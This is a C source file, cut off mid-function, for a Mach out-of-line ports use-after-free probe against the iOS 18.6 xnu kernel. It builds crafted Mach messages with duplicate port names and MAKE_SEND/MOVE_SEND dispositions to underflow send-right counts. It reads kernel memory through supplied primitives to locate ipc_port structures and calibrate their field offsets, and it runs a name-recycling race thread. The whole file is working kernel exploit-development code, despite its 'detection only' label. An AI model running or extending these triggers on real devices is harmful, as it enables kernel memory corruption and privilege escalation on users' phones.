/*
 * ool-uaf-probe.c — Mach OOL-ports array UAF probe (iOS 18.6 / xnu-11417)
 *
 * Bug surface (OOL-PORT-ARRAY-HUNT.md):
 *   ipc_kmsg_copyin_body          @ 0xfffffff007ff44dc
 *   OOL-ports type==2 path        @ 0xfffffff007ff466c
 *   kalloc(count*8)               @ 0xfffffff007ff46d4  (NO gate on 18.6)
 *   ipc_object_copyout            @ 0xfffffff008004d9c  (NO type-5 check)
 *
 * H1: duplicate names + MOVE_SEND / MAKE_SEND → ip_srights underflow →
 *     ipc_port freed while a name still points at it (UAF).
 * H2: missing SITE2 allows a type-confused send right on copyout.
 *
 * FIRST PASS = DETECTION ONLY.
 *   - No kernel writes.
 *   - Every mach_port we allocate is destroyed before return.
 *   - Send/receive errors are recorded, never fatal.
 *   - Receive uses MACH_RCV_TIMEOUT so we can never block forever.
 *
 * Build (device / Xcode target):
 *   clang -arch arm64e -isysroot $SDK -fno-objc-arc -c ool-uaf-probe.c
 * Standalone smoke (host):
 *   clang -DOOL_UAF_PROBE_MAIN -o ool-uaf-probe ool-uaf-probe.c
 */

#include "ool-uaf-probe.h"

#include <mach/kern_return.h>
#include <mach/message.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdarg.h>
#include <unistd.h>

/* Theos SDK shim may omit some Mach constants. Define only the ones
   missing, with unique values, so switch cases never collide. */
#ifndef KERN_INVALID_NAME
#define KERN_INVALID_NAME        15
#endif
#ifndef KERN_INVALID_RIGHT
#define KERN_INVALID_RIGHT       17
#endif
#ifndef KERN_INVALID_CAPABILITY
#define KERN_INVALID_CAPABILITY  20
#endif
#ifndef KERN_INVALID_TASK
#define KERN_INVALID_TASK        16
#endif
#ifndef KERN_INVALID_HOST
#define KERN_INVALID_HOST        22
#endif
#ifndef KERN_RESOURCE_SHORTAGE
#define KERN_RESOURCE_SHORTAGE   6
#endif
#ifndef KERN_NO_ACCESS
#define KERN_NO_ACCESS           8
#endif
#ifndef KERN_PROTECTION_FAILURE
#define KERN_PROTECTION_FAILURE  2
#endif
#ifndef KERN_NOT_IN_SET
#define KERN_NOT_IN_SET          12
#endif
#ifndef KERN_NAME_EXISTS
#define KERN_NAME_EXISTS         13
#endif
#ifndef KERN_ABORTED
#define KERN_ABORTED             14
#endif
/* MACH_SEND_* / MACH_RCV_* — real XNU values from <mach/message.h>.
   Only define if the SDK omitted them. */
#ifndef MACH_SEND_INVALID_DEST
#define MACH_SEND_INVALID_DEST   0x10000003
#endif
#ifndef MACH_SEND_TIMED_OUT
#define MACH_SEND_TIMED_OUT      0x10000004
#endif
#ifndef MACH_SEND_INVALID_REPLY
#define MACH_SEND_INVALID_REPLY  0x10000005
#endif
#ifndef MACH_SEND_INVALID_RIGHT
#define MACH_SEND_INVALID_RIGHT  0x10000006
#endif
#ifndef MACH_SEND_INVALID_TYPE
#define MACH_SEND_INVALID_TYPE   0x10000007
#endif
#ifndef MACH_SEND_MSG_TOO_SMALL
#define MACH_SEND_MSG_TOO_SMALL  0x1000000C
#endif
#ifndef MACH_SEND_INVALID_HEADER
#define MACH_SEND_INVALID_HEADER 0x1000000D
#endif
#ifndef MACH_RCV_TIMED_OUT
#define MACH_RCV_TIMED_OUT       0x10000407
#endif
#ifndef MACH_RCV_INVALID_NAME
#define MACH_RCV_INVALID_NAME    0x10000402
#endif

/* ------------------------------------------------------------------ */
/* helpers                                                             */
/* ------------------------------------------------------------------ */

#define OOL_MAX_COUNT   64u
#define OOL_RCV_TIMEOUT 200u
#define OOL_RCV_OPTS    (MACH_RCV_MSG | MACH_RCV_TIMEOUT)

static const char *
kr_name(kern_return_t kr)
{
    switch (kr) {
    case KERN_SUCCESS:            return "SUCCESS";
    case KERN_INVALID_ARGUMENT:   return "INVALID_ARGUMENT";
    case KERN_INVALID_NAME:       return "INVALID_NAME";
    case KERN_INVALID_RIGHT:      return "INVALID_RIGHT";
    case KERN_INVALID_CAPABILITY: return "INVALID_CAPABILITY";
    case KERN_INVALID_TASK:       return "INVALID_TASK";
    case KERN_INVALID_HOST:       return "INVALID_HOST";
    case KERN_RESOURCE_SHORTAGE:  return "RESOURCE_SHORTAGE";
    case KERN_NO_ACCESS:          return "NO_ACCESS";
    case KERN_PROTECTION_FAILURE: return "PROTECTION_FAILURE";
    case KERN_NOT_IN_SET:         return "NOT_IN_SET";
    case KERN_NAME_EXISTS:        return "NAME_EXISTS";
    case KERN_ABORTED:            return "ABORTED";
    case MACH_SEND_INVALID_DEST:  return "SEND_INVALID_DEST";
    case MACH_SEND_INVALID_HEADER:return "SEND_INVALID_HEADER";
    case MACH_SEND_INVALID_REPLY: return "SEND_INVALID_REPLY";
    case MACH_SEND_INVALID_RIGHT: return "SEND_INVALID_RIGHT";
    case MACH_SEND_INVALID_TYPE:  return "SEND_INVALID_TYPE";
    case MACH_SEND_MSG_TOO_SMALL: return "SEND_MSG_TOO_SMALL";
    case MACH_SEND_TIMED_OUT:     return "SEND_TIMED_OUT";
    case MACH_RCV_TIMED_OUT:      return "RCV_TIMED_OUT";
    case MACH_RCV_INVALID_NAME:   return "RCV_INVALID_NAME";
    default:                      return "OTHER";
    }
}

static const char *
disp_name(uint8_t d)
{
    switch (d) {
    case MACH_MSG_TYPE_MOVE_RECEIVE:    return "MOVE_RECEIVE";
    case MACH_MSG_TYPE_MOVE_SEND:       return "MOVE_SEND";
    case MACH_MSG_TYPE_MOVE_SEND_ONCE:  return "MOVE_SEND_ONCE";
    case MACH_MSG_TYPE_COPY_SEND:       return "COPY_SEND";
    case MACH_MSG_TYPE_MAKE_SEND:       return "MAKE_SEND";
    case MACH_MSG_TYPE_MAKE_SEND_ONCE:  return "MAKE_SEND_ONCE";
    case MACH_MSG_TYPE_COPY_RECEIVE:    return "COPY_RECEIVE";
    default:                            return "UNKNOWN";
    }
}

static uint32_t
port_type_of(mach_port_name_t n)
{
    mach_port_type_t t = 0;
    if (n == MACH_PORT_NULL || n == MACH_PORT_DEAD) return 0;
    (void)mach_port_type(mach_task_self(), n, &t);
    return (uint32_t)t;
}

static int32_t
port_refs_of(mach_port_name_t n, mach_port_right_t right)
{
    mach_port_urefs_t u = 0;
    if (n == MACH_PORT_NULL || n == MACH_PORT_DEAD) return -1;
    (void)mach_port_get_refs(mach_task_self(), n, right, &u);
    return (int32_t)u;
}

static int
port_name_listed(mach_port_name_t n)
{
    mach_port_name_array_t names = NULL;
    mach_msg_type_number_t count = 0;
    mach_port_type_array_t types = NULL;
    mach_msg_type_number_t tcount = 0;
    int found = 0;
    kern_return_t kr = mach_port_names(mach_task_self(), &names, &count, &types, &tcount);
    if (kr == KERN_SUCCESS && names != NULL) {
        for (mach_msg_type_number_t i = 0; i < count; i++) {
            if (names[i] == n) { found = 1; break; }
        }
    }
    if (names)  vm_deallocate(mach_task_self(), (vm_address_t)names, count * sizeof(mach_port_name_t));
    if (types)  vm_deallocate(mach_task_self(), (vm_address_t)types, tcount * sizeof(mach_port_type_t));
    return found;
}

static void
port_drop(mach_port_name_t n)
{
    if (n == MACH_PORT_NULL || n == MACH_PORT_DEAD) return;
    /* Best-effort teardown. Errors are expected and ignored. */
    (void)mach_port_mod_refs(mach_task_self(), n, MACH_PORT_RIGHT_RECEIVE, -1);
    (void)mach_port_mod_refs(mach_task_self(), n, MACH_PORT_RIGHT_SEND, -8);
    (void)mach_port_deallocate(mach_task_self(), n);
    (void)mach_port_destroy(mach_task_self(), n);
}

/* ------------------------------------------------------------------ */
/* KRW helpers (optional)                                              */
/* ------------------------------------------------------------------ */

static int
krw_ok(const ool_uaf_krw_t *k)
{
    return k && k->kread && k->untag && k->sizeof_ipc_entry && k->self_task_va;
}

static uint64_t
krw_untag(const ool_uaf_krw_t *k, uint64_t p)
{
    return k->untag ? k->untag(p) : p;
}

/* task → itk_space → is_table → entry[name>>8] → ie_object → ipc_port */
static uint64_t
krw_resolve_port(const ool_uaf_krw_t *k, mach_port_name_t name)
{
    if (!krw_ok(k)) return 0;

    uint64_t raw = 0;
    if (k->kread(k->self_task_va + k->off_task_itk_space, &raw, 8) != 0) return 0;
    uint64_t space = krw_untag(k, raw);
    if (!space) return 0;

    if (k->kread(space + k->off_ipc_space_is_table, &raw, 8) != 0) return 0;
    uint64_t table = k->smr_decode ? krw_untag(k, k->smr_decode(raw))
                                   : krw_untag(k, raw);
    if (!table) return 0;

    uint64_t eVA = table + (uint64_t)k->sizeof_ipc_entry * (name >> 8);
    if (k->kread(eVA + k->off_ipc_entry_ie_object, &raw, 8) != 0) return 0;
    return krw_untag(k, raw);
}

static void
krw_snap_port(const ool_uaf_krw_t *k, uint64_t port,
              uint32_t *io_bits, uint32_t *io_refs,
              int32_t *srights, int32_t *mscount,
              uint32_t srights_off, uint32_t mscount_off)
{
    if (!k || !k->kread || !port) return;

    uint64_t raw = 0;
    if (k->kread(port + 0x00, &raw, 8) == 0) {
        if (io_bits) *io_bits = (uint32_t)(raw & 0xffffffffu);
        if (io_refs) *io_refs = (uint32_t)(raw >> 32);
    }
    if (srights_off && srights) {
        uint32_t v = 0;
        if (k->kread(port + srights_off, &v, 4) == 0) *srights = (int32_t)v;
    }
    if (mscount_off && mscount) {
        uint32_t v = 0;
        if (k->kread(port + mscount_off, &v, 4) == 0) *mscount = (int32_t)v;
    }
}

/*
 * Calibrate ip_srights / ip_mscount offsets.
 * Snapshot 0x80 bytes, insert one extra send right (srights should
 * +1), snapshot again, first u32 that moved by exactly +1 wins.
 * Then a MAKE_SEND-like insert (same call with MAKE_SEND) for mscount.
 * Bounded, and the extra rights are torn down before return.
 */
static void
krw_calibrate_port_fields(const ool_uaf_krw_t *k,
                          mach_port_name_t victim,
                          uint64_t port,
                          uint32_t *out_srights_off,
                          uint32_t *out_mscount_off)
{
    *out_srights_off = 0;
    *out_mscount_off = 0;
    if (!k || !k->kread || !port) return;

    uint8_t base[0x80], after[0x80];
    memset(base, 0, sizeof(base));
    memset(after, 0, sizeof(after));
    if (k->kread(port, base, sizeof(base)) != 0) return;

    mach_port_name_t tmp = MACH_PORT_NULL;
    if (mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &tmp) != KERN_SUCCESS)
        return;
    /* This adds one send right to `victim` under name `tmp`. */
    if (mach_port_insert_right(mach_task_self(), tmp, victim, MACH_MSG_TYPE_COPY_SEND)
        != KERN_SUCCESS) {
        port_drop(tmp);
        return;
    }
    if (k->kread(port, after, sizeof(after)) != 0) {
        port_drop(tmp);
        return;
    }

    uint32_t found = 0;
    for (uint32_t off = 0x08; off + 4 <= 0x80; off += 4) {
        uint32_t a, b;
        memcpy(&a, base + off, 4);
        memcpy(&b, after + off, 4);
        if (b == a + 1) {
            found = off;
            break;
        }
    }
    *out_srights_off = found;

    /* mscount: a second MAKE_SEND on the same receive right. */
    memset(base, 0, sizeof(base));
    memset(after, 0, sizeof(after));
    if (k->kread(port, base, sizeof(base)) == 0) {
        mach_port_name_t tmp2 = MACH_PORT_NULL;
        if (mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &tmp2) == KERN_SUCCESS) {
            (void)mach_port_insert_right(mach_task_self(), tmp2, victim, MACH_MSG_TYPE_MAKE_SEND);
            if (k->kread(port, after, sizeof(after)) == 0) {
                for (uint32_t off = 0x08; off + 4 <= 0x80; off += 4) {
                    if (off == found) continue;
                    uint32_t a, b;
                    memcpy(&a, base + off, 4);
                    memcpy(&b, after + off, 4);
                    if (b == a + 1) {
                        *out_mscount_off = off;
                        break;
                    }
                }
            }
            port_drop(tmp2);
        }
    }

    port_drop(tmp);
}

/* ------------------------------------------------------------------ */
/* Message construction                                                */
/* ------------------------------------------------------------------ */

#pragma pack(push, 1)
typedef struct ool_msg_raw {
    mach_msg_header_t hdr;
    mach_msg_body_t   body;
    ool_ports_raw16_t ool;
} ool_msg_raw_t;

typedef struct ool_msg_sdk {
    mach_msg_header_t hdr;
    mach_msg_body_t   body;
    ool_ports_sdk_t   ool;
} ool_msg_sdk_t;

typedef struct ool_rcv_buf {
    mach_msg_header_t  hdr;
    mach_msg_body_t    body;
    uint8_t            desc[32];
    mach_msg_trailer_t trailer;
    uint8_t            pad[64];
} ool_rcv_buf_t;
#pragma pack(pop)

static void
fill_common_header(mach_msg_header_t *hdr, mach_port_name_t dest, mach_msg_size_t sz)
{
    memset(hdr, 0, sizeof(*hdr));
    hdr->msgh_bits = MACH_MSGH_BITS_SET(MACH_MSG_TYPE_COPY_SEND, 0, 0, 0)
                   | MACH_MSGH_BITS_COMPLEX;
    hdr->msgh_size = sz;
    hdr->msgh_remote_port = dest;
    hdr->msgh_local_port  = MACH_PORT_NULL;
    hdr->msgh_voucher_port = MACH_PORT_NULL;
    hdr->msgh_id = 0x0000f00d;
}

/* ------------------------------------------------------------------ */
/* One trigger case                                                    */
/* ------------------------------------------------------------------ */

int
ool_uaf_trigger_once(uint32_t count,
                     uint8_t disposition,
                     int dup_names,
                     int use_raw_desc,
                     int bump_urefs,
                     const ool_uaf_krw_t *krw,
                     ool_uaf_result_t *out)
{
    if (!out) return -1;
    memset(out, 0, sizeof(*out));
    out->count = count;
    out->disposition = disposition;
    out->use_raw_desc = use_raw_desc;
    out->dup_names = dup_names;
    out->bump_urefs = bump_urefs;
    snprintf(out->tag, sizeof(out->tag), "%s/n=%u%s/%s",
             disp_name(disposition), count,
             dup_names ? "/dup" : "",
             use_raw_desc ? "raw16" : "sdk16");

    if (count == 0 || count > OOL_MAX_COUNT) return -1;

    mach_port_name_t recv_p = MACH_PORT_NULL;
    mach_port_name_t victim = MACH_PORT_NULL;
    mach_port_name_t *names = NULL;
    void *msgbuf = NULL;
    ool_rcv_buf_t rcv;
    uint64_t port_va = 0;
    uint32_t srights_off = 0, mscount_off = 0;

    names = (mach_port_name_t *)calloc(count, sizeof(mach_port_name_t));
    if (!names) return -1;

    /* sink (destination receive right) + SEND right so we can address it */
    if (mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &recv_p) != KERN_SUCCESS) {
        free(names);
        return -1;
    }
    /* Without a send right, msgh_remote_port=recv_p yields SEND_INVALID_DEST. */
    (void)mach_port_insert_right(mach_task_self(), recv_p, recv_p, MACH_MSG_TYPE_MAKE_SEND);

    /* victim: receive right, plus one send right on the same name */
    if (mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &victim) != KERN_SUCCESS) {
        port_drop(recv_p);
        free(names);
        return -1;
    }
    (void)mach_port_insert_right(mach_task_self(), victim, victim, MACH_MSG_TYPE_MAKE_SEND);

    if (bump_urefs) {
        /* Raise urefs so every MOVE_SEND slot can succeed against the
         * same name ("both slots resolve to the same ipc_port"). */
        int extra = (count > 1) ? (int)(count - 1) : 1;
        (void)mach_port_mod_refs(mach_task_self(), victim, MACH_PORT_RIGHT_SEND, extra);
    }

    if (dup_names) {
        for (uint32_t i = 0; i < count; i++) names[i] = victim;
    } else {
        names[0] = victim;
        for (uint32_t i = 1; i < count; i++) {
            mach_port_name_t extra = MACH_PORT_NULL;
            if (mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &extra) != KERN_SUCCESS) {
                names[i] = victim;
                continue;
            }
            (void)mach_port_insert_right(mach_task_self(), extra, victim, MACH_MSG_TYPE_COPY_SEND);
            names[i] = extra;
        }
    }

    /* pre-snapshot */
    out->type_before  = port_type_of(victim);
    out->urefs_before = port_refs_of(victim, MACH_PORT_RIGHT_SEND);
    out->rrefs_before = port_refs_of(victim, MACH_PORT_RIGHT_RECEIVE);

    if (krw_ok(krw)) {
        /* Calibrate on a THROWAWAY port so we do not dirty the victim. */
        mach_port_name_t cal = MACH_PORT_NULL;
        if (mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &cal) == KERN_SUCCESS) {
            (void)mach_port_insert_right(mach_task_self(), cal, cal, MACH_MSG_TYPE_MAKE_SEND);
            uint64_t cal_va = krw_resolve_port(krw, cal);
            if (cal_va) krw_calibrate_port_fields(krw, cal, cal_va, &srights_off, &mscount_off);
            port_drop(cal);
        }
        port_va = krw_resolve_port(krw, victim);
        out->ipc_port_va = port_va;
        if (port_va) {
            /* One-time raw dump of the first resolved port so we can see the
               real ip_srights / ip_mscount layout (calibration may miss). */
            static int dumped = 0;
            if (!dumped && krw->kread) {
                uint8_t raw[0x80];
                if (krw->kread(port_va, raw, sizeof(raw)) == 0) {
                    dumped = 1;
                    extern char ool_port_dump[2048];
                    int pos = snprintf(ool_port_dump, sizeof(ool_port_dump),
                                       "  ipc_port raw dump @ %#llx:\n",
                                       (unsigned long long)port_va);
                    for (int row = 0; row < 0x80 && pos > 0 && pos < (int)sizeof(ool_port_dump) - 40; row += 16) {
                        pos += snprintf(ool_port_dump + pos, sizeof(ool_port_dump) - pos, "  +%02x:", row);
                        for (int b = 0; b < 16; b++)
                            pos += snprintf(ool_port_dump + pos, sizeof(ool_port_dump) - pos,
                                            " %02x", raw[row + b]);
                        pos += snprintf(ool_port_dump + pos, sizeof(ool_port_dump) - pos, "\n");
                    }
                }
            }
            if (!srights_off && krw->off_ipc_port_ip_srights)
                srights_off = krw->off_ipc_port_ip_srights;
            if (!mscount_off && krw->off_ipc_port_ip_mscount)
                mscount_off = krw->off_ipc_port_ip_mscount;
            /* 18.x static guesses if calibration found nothing.
               +0x7c / +0x78 from raw ipc_port dump 2026-10-20 (arm64e 18.6). */
            if (!srights_off) srights_off = 0x7c;
            if (!mscount_off) mscount_off = 0x78;
            out->srights_off = srights_off;
            out->mscount_off = mscount_off;
            krw_snap_port(krw, port_va,
                          &out->io_bits_before, &out->io_refs_before,
                          &out->srights_before, &out->mscount_before,
                          srights_off, mscount_off);
        }
    }

    /* build + send */
    size_t msgsize;
    if (use_raw_desc) {
        ool_msg_raw_t *m = (ool_msg_raw_t *)calloc(1, sizeof(*m));
        if (!m) goto cleanup;
        msgbuf = m;
        msgsize = sizeof(m->hdr) + sizeof(m->body) + sizeof(m->ool);
        fill_common_header(&m->hdr, recv_p, (mach_msg_size_t)msgsize);
        m->body.msgh_descriptor_count = 1;
        m->ool.address     = names;
        m->ool.deallocate  = 0;
        m->ool.copy        = MACH_MSG_VIRTUAL_COPY;
        m->ool.disposition = disposition;
        m->ool.type        = MACH_MSG_OOL_PORTS_DESCRIPTOR;
        m->ool.count       = count;
    } else {
        ool_msg_sdk_t *m = (ool_msg_sdk_t *)calloc(1, sizeof(*m));
        if (!m) goto cleanup;
        msgbuf = m;
        msgsize = sizeof(m->hdr) + sizeof(m->body) + sizeof(m->ool);
        fill_common_header(&m->hdr, recv_p, (mach_msg_size_t)msgsize);
        m->body.msgh_descriptor_count = 1;
        m->ool.address     = names;
        m->ool.count       = count;
        m->ool.deallocate  = 0;
        m->ool.copy        = MACH_MSG_VIRTUAL_COPY;
        m->ool.disposition = disposition;
        m->ool.type        = MACH_MSG_OOL_PORTS_DESCRIPTOR;
    }

    out->send_kr = mach_msg((mach_msg_header_t *)msgbuf,
                            MACH_SEND_MSG,
                            (mach_msg_size_t)msgsize,
                            0,
                            MACH_PORT_NULL,
                            0,
                            MACH_PORT_NULL);

    /* receive (bounded) */
    memset(&rcv, 0, sizeof(rcv));
    rcv.hdr.msgh_size = (mach_msg_size_t)(sizeof(rcv) - sizeof(rcv.pad));
    out->recv_kr = mach_msg(&rcv.hdr, OOL_RCV_OPTS, 0,
                            rcv.hdr.msgh_size, recv_p,
                            OOL_RCV_TIMEOUT, MACH_PORT_NULL);
    if (out->recv_kr == KERN_SUCCESS) {
        out->recv_count = (int)rcv.body.msgh_descriptor_count;
    }

    /* post-snapshot */
    out->type_after   = port_type_of(victim);
    out->urefs_after  = port_refs_of(victim, MACH_PORT_RIGHT_SEND);
    out->rrefs_after  = port_refs_of(victim, MACH_PORT_RIGHT_RECEIVE);
    out->name_listed  = port_name_listed(victim);
    out->name_alive   = out->name_listed;
    out->port_alive   = (out->type_after != 0) &&
                        ((out->type_after & MACH_PORT_TYPE_DEAD_NAME) == 0) &&
                        ((out->type_after &
                          (MACH_PORT_TYPE_RECEIVE | MACH_PORT_TYPE_SEND |
                           MACH_PORT_TYPE_SEND_ONCE)) != 0);

    if (krw_ok(krw) && port_va) {
        krw_snap_port(krw, port_va,
                      &out->io_bits_after, &out->io_refs_after,
                      &out->srights_after, &out->mscount_after,
                      srights_off, mscount_off);
    }

cleanup:
    for (uint32_t i = 0; i < count; i++) {
        if (names && names[i] && names[i] != victim) port_drop(names[i]);
    }
    if (victim) port_drop(victim);
    if (recv_p) port_drop(recv_p);
    free(names);
    free(msgbuf);
    return 0;
}

/* ------------------------------------------------------------------ */
/* ---- Inflate → destroy / inflate → move (H1 follow-up) ---- */

static void append_line(char *buf, size_t buflen, size_t *used, const char *fmt, ...);

static void
ool_inflate_test(char *buf, size_t buflen, size_t *used,
                 const ool_uaf_krw_t *krw)
{
    append_line(buf, buflen, used,
                "\n=== INFLATE tests (MAKE_SEND dup → srights balloon) ===\n");

    /* ---- shared setup: sink + victim + inflate to srights=N+1 ---- */
    #define INFLATE_N 32
    mach_port_name_t recv_p = MACH_PORT_NULL, victim = MACH_PORT_NULL;
    mach_port_name_t names[INFLATE_N];
    uint8_t msgbuf[512];
    ool_msg_raw_t *m = (ool_msg_raw_t *)msgbuf;

    if (mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &recv_p) != KERN_SUCCESS) {
        append_line(buf, buflen, used, "  sink alloc FAIL\n");
        return;
    }
    (void)mach_port_insert_right(mach_task_self(), recv_p, recv_p, MACH_MSG_TYPE_MAKE_SEND);
    if (mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &victim) != KERN_SUCCESS) {
        port_drop(recv_p);
        append_line(buf, buflen, used, "  victim alloc FAIL\n");
        return;
    }
    (void)mach_port_insert_right(mach_task_self(), victim, victim, MACH_MSG_TYPE_MAKE_SEND);

    /* Inflate: OOL array of INFLATE_N duplicate names, MAKE_SEND */
    for (int i = 0; i < INFLATE_N; i++) names[i] = victim;
    memset(msgbuf, 0, sizeof(msgbuf));
    fill_common_header(&m->hdr, recv_p,
                       (mach_msg_size_t)(sizeof(m->hdr) + sizeof(m->body) + sizeof(m->ool)));
    m->body.msgh_descriptor_count = 1;
    m->ool.address       = names;
    m->ool.deallocate    = 0;
    m->ool.copy          = MACH_MSG_VIRTUAL_COPY;
    m->ool.disposition   = MACH_MSG_TYPE_MAKE_SEND;
    m->ool.type          = MACH_MSG_OOL_PORTS_DESCRIPTOR;
    m->ool.count         = INFLATE_N;

    kern_return_t kr = mach_msg((mach_msg_header_t *)msgbuf,
                                MACH_SEND_MSG,
                                (mach_msg_size_t)(sizeof(m->hdr) + sizeof(m->body) + sizeof(m->ool)),
                                0,
                                MACH_PORT_NULL, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL);
    append_line(buf, buflen, used,
                "  inflate MAKE_SEND n=%d: send=%s(0x%x)\n",
                INFLATE_N, kr_name(kr), kr);

    /* Resolve victim and snapshot srights after inflate */
    uint64_t vva = krw_resolve_port(krw, victim);
    int32_t s_after_inflate = -1;
    if (vva && krw->kread) {
        uint32_t v = 0;
        if (krw->kread(vva + 0x7c, &v, 4) == 0) s_after_inflate = (int32_t)v;
    }
    append_line(buf, buflen, used,
                "  after inflate: srights@+0x7c = %d (expect %d)\n",
                s_after_inflate, INFLATE_N + 1);

    /* ===================== VARIANT A: inflate → destroy ===================== */
    append_line(buf, buflen, used, "\n  --- A: inflate → mod_refs SEND -1 x%d ---\n", INFLATE_N);
    for (int i = 0; i < INFLATE_N; i++) {
        (void)mach_port_mod_refs(mach_task_self(), victim, MACH_PORT_RIGHT_SEND, -1);
    }
    int32_t s_after_destroy = -1;
    uint32_t io_refs_a = 0;
    if (vva && krw->kread) {
        uint32_t v = 0;
        if (krw->kread(vva + 0x7c, &v, 4) == 0) s_after_destroy = (int32_t)v;
        if (krw->kread(vva + 0x04, &v, 4) == 0) io_refs_a = v;
    }
    mach_port_type_t ty = 0;
    (void)mach_port_type(mach_task_self(), victim, &ty);
    int name_alive_a = (ty != 0);
    append_line(buf, buflen, used,
                "  after destroy: srights=%d io_refs=%u type=0x%x name_alive=%d\n",
                s_after_destroy, io_refs_a, ty, name_alive_a);
    if (s_after_destroy < 0)
        append_line(buf, buflen, used, "  >> A: srights NEGATIVE — underflow ★\n");
    else if (s_after_destroy == 0 && name_alive_a)
        append_line(buf, buflen, used, "  >> A: srights=0 but name alive — dangling ★\n");
    else
        append_line(buf, buflen, used, "  >> A: srights=%d, no underflow\n", s_after_destroy);

    /* Restore send right for variant B */
    (void)mach_port_insert_right(mach_task_self(), victim, victim, MACH_MSG_TYPE_MAKE_SEND);

    /* ===================== VARIANT B: inflate → move ===================== */
    append_line(buf, buflen, used, "\n  --- B: inflate → %d x MOVE_SEND(1) ---\n", INFLATE_N);
    /* Re-inflate */
    for (int i = 0; i < INFLATE_N; i++) names[i] = victim;
    m->ool.disposition   = MACH_MSG_TYPE_MAKE_SEND;
    m->ool.count         = INFLATE_N;
    kr = mach_msg((mach_msg_header_t *)msgbuf,
                  MACH_SEND_MSG,
                  (mach_msg_size_t)(sizeof(m->hdr) + sizeof(m->body) + sizeof(m->ool)),
                  0,
                  MACH_PORT_NULL, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL);
    int32_t s_b_start = -1;
    if (vva && krw->kread) {
        uint32_t v = 0;
        if (krw->kread(vva + 0x7c, &v, 4) == 0) s_b_start = (int32_t)v;
    }
    append_line(buf, buflen, used,
                "  re-inflate: send=%s srights=%d\n", kr_name(kr), s_b_start);

    /* Now send INFLATE_N individual MOVE_SEND messages, each with 1 name */
    int moves_ok = 0;
    for (int i = 0; i < INFLATE_N; i++) {
        mach_port_name_t one = victim;
        memset(msgbuf, 0, sizeof(msgbuf));
        fill_common_header(&m->hdr, recv_p,
                           (mach_msg_size_t)(sizeof(m->hdr) + sizeof(m->body) + sizeof(m->ool)));
        m->body.msgh_descriptor_count = 1;
        m->ool.address       = &one;
        m->ool.deallocate    = 0;
        m->ool.copy          = MACH_MSG_VIRTUAL_COPY;
        m->ool.disposition   = MACH_MSG_TYPE_MOVE_SEND;
        m->ool.type          = MACH_MSG_OOL_PORTS_DESCRIPTOR;
        m->ool.count         = 1;
        kr = mach_msg((mach_msg_header_t *)msgbuf,
                      MACH_SEND_MSG,
                      (mach_msg_size_t)(sizeof(m->hdr) + sizeof(m->body) + sizeof(m->ool)),
                      0,
                      MACH_PORT_NULL, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL);
        if (kr == KERN_SUCCESS) moves_ok++;
        /* Drain the receive side so the queue doesn't fill */
        uint8_t rbuf[512];
        mach_msg((mach_msg_header_t *)rbuf,
                 MACH_RCV_MSG | MACH_RCV_TIMEOUT, 0, sizeof(rbuf),
                 recv_p, 1, MACH_PORT_NULL);
    }
    int32_t s_b_end = -1;
    uint32_t io_refs_b = 0;
    if (vva && krw->kread) {
        uint32_t v = 0;
        if (krw->kread(vva + 0x7c, &v, 4) == 0) s_b_end = (int32_t)v;
        if (krw->kread(vva + 0x04, &v, 4) == 0) io_refs_b = v;
    }
    (void)mach_port_type(mach_task_self(), victim, &ty);
    int name_alive_b = (ty != 0);
    append_line(buf, buflen, used,
                "  after %d moves: srights %d→%d io_refs=%u name_alive=%d\n",
                moves_ok, s_b_start, s_b_end, io_refs_b, name_alive_b);
    if (s_b_end < 0)
        append_line(buf, buflen, used, "  >> B: srights NEGATIVE — underflow ★\n");
    else if (s_b_end == 0 && name_alive_b)
        append_line(buf, buflen, used, "  >> B: srights=0 but name alive — dangling ★\n");
    else if (s_b_start >= 0 && s_b_end < s_b_start - moves_ok)
        append_line(buf, buflen, used, "  >> B: srights dropped harder than moves — leak ★\n");
    else
        append_line(buf, buflen, used, "  >> B: srights=%d, no underflow\n", s_b_end);

    /* Cleanup */
    port_drop(victim);
    port_drop(recv_p);
    #undef INFLATE_N
}

/* ---- Name-recycle race + partial-copyin double-destroy (H1 §8.2 / §4.2) ---- */

#include <pthread.h>

typedef struct {
    volatile int stop;
    volatile int recycled;
    mach_port_name_t *sink_names;
    int sink_count;
} recycle_ctx_t;

static void *
recycle_thread(void *arg)
{
    recycle_ctx_t *ctx = (recycle_ctx_t *)arg;
    /* Rapid allocate/drop cycles to recycle name numbers without
       exhausting the name table. Each iteration creates a port with a
       send right and immediately drops it, so the name number becomes
       available again — that's the race window we want. */
    while (!ctx->stop) {
        mach_port_name_t tmp = MACH_PORT_NULL;
        if (mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &tmp) == KERN_SUCCESS) {
            (void)mach_port_insert_right(mach_task_self(), tmp, tmp, MACH_MSG_TYPE_MAKE_SEND);
            port_drop(tmp);  /* free immediately — keep name table small */
            ctx->recycled++;
        }
    }
    return NULL;
}

static void
ool_race_test(char *buf, size_t buflen, size_t *used,
              const ool_uaf_krw_t *krw)
{
    append_line(buf, buflen, used,
                "\n=== RACE: name-recycle (§8.2) ===\n");

    #define RACE_ITER 128
    #define RACE_NAMES 2
    mach_port_name_t recv_p = MACH_PORT_NULL, victim = MACH_PORT_NULL;
    mach_port_name_t names[RACE_NAMES];
    mach_port_name_t sink_names[64];
    uint8_t msgbuf[512];
    ool_msg_raw_t *m = (ool_msg_raw_t *)msgbuf;

    if (mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &recv_p) != KERN_SUCCESS) {
        append_line(buf, buflen, used, "  sink FAIL\n");
        return;
    }
    (void)mach_port_insert_right(mach_task_self(), recv_p, recv_p, MACH_MSG_TYPE_MAKE_SEND);
    if (mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &victim) != KERN_SUCCESS) {
        port_drop(recv_p);
